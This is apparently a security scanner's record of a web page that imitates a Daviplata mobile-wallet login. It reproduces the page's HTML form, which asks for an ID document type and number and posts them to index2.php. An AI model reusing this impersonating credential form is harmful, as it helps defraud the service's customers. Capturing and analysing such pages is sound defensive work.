bgtnym.bgtbrn.repl.co Open in urlscan Pro
34.149.204.188  Public Scan

Form analysis
1 forms found in the DOM

POST index2.php

<form method="post" action="index2.php" class="above-the-fold" style="color:#ffffff">
  <section class="flex-grow align-items-center container--layout margin-bottom-05rem-mb">
    <div class="container">
      <div class="justify-content-center row">
        <div xl="6" class="col col-12 col-lg-6 col-md-12 col-sm-12 col-xs-12">
          <div class="notifications-wrapper"></div>
          <div class="notifications-wrapper"></div>
          <div class="">
            <div class="">
              <select name="tipodoc" style="border: none;background:transparent;background-color:transparent;
    width: 100%;color:#ffffff; border-bottom: 1px solid #ccc;  outline: none;">
                <option value="C.C.">Cédula de Ciudadanía</option>
                <option value="C.E.">Cédula de Extranjería</option>
                <option value="Tarjeta de Indentidad">Tarjeta de Indentidad</option>
              </select>
            </div>
          </div>
          <br>
          <div class="">
            <div class="">
              <br>
              <label class="control-label" for=""><span>Número de Documento</span></label>
            </div>
            <div class="form-group-container">
              <div class="">
                <input class="" placeholder="" name="numdoc" autocomplete="off" type="text" maxlength="30" required="" style="border: none;background:transparent;background-color:transparent;
    width: 100%;color:#ffffff; border-bottom: 1px solid #ccc;  outline: none;">
                <div class="c-control c-control--icon-toggle"><label class="c-control-label">
                    <div class="c-control-off">
                      <div class="svg-wrapper">
                        <div></div>
                      </div>
                    </div>
                  </label></div>
              </div>
            </div>
            <br>
            <div class="form-group-container">
              <div class="">
                <br><br>
                <div align="left"><input type="checkbox" name="cb-cars" style="background:transparent;background-color:transparent;
    color:#ffffff; border: 1px solid #ccc; ">
                  <font color="white">Recordar Datos</font>
                </div>
                <div class="c-control c-control--icon-toggle"><br>
                  <label class="c-control-label">
                    <div class="c-control-off">
                      <div class="svg-wrapper">
                        <div></div>
                      </div>
                    </div>
                  </label>
                </div>
              </div>
            </div>
            <br><br>
            <button type="submit" style="font: 600 18px 'Open Sans';
    display: inline-block;
    background: #ad0000;
    color: #FFFFFF;
    padding: 13px 19px;
    line-height: 24px;
    box-sizing: content-box;
    border-radius: 100px;
    box-shadow: 0 1px 8px rgb(0 0 0 / 10%);
    text-align: center;width:60%"><span>Ingresar</span></button>
            <br><br><br><br>
            <div align="center">
              <div class="switch-label-text">Si no tiene Daviplata <a href="" style="color:#ffffff;">Registrese</a></div>
              <br>
              <img src="tih/bottom.png" style="width:350px;">
              <br><br><br> <br><br><br>
            </div>
          </div>
        </div>
      </div>
    </div>
  </section>
</form>

Text Content

Cédula de Ciudadanía Cédula de Extranjería Tarjeta de Indentidad


Número de Documento





Recordar Datos





Ingresar




Si no tiene Daviplata Registrese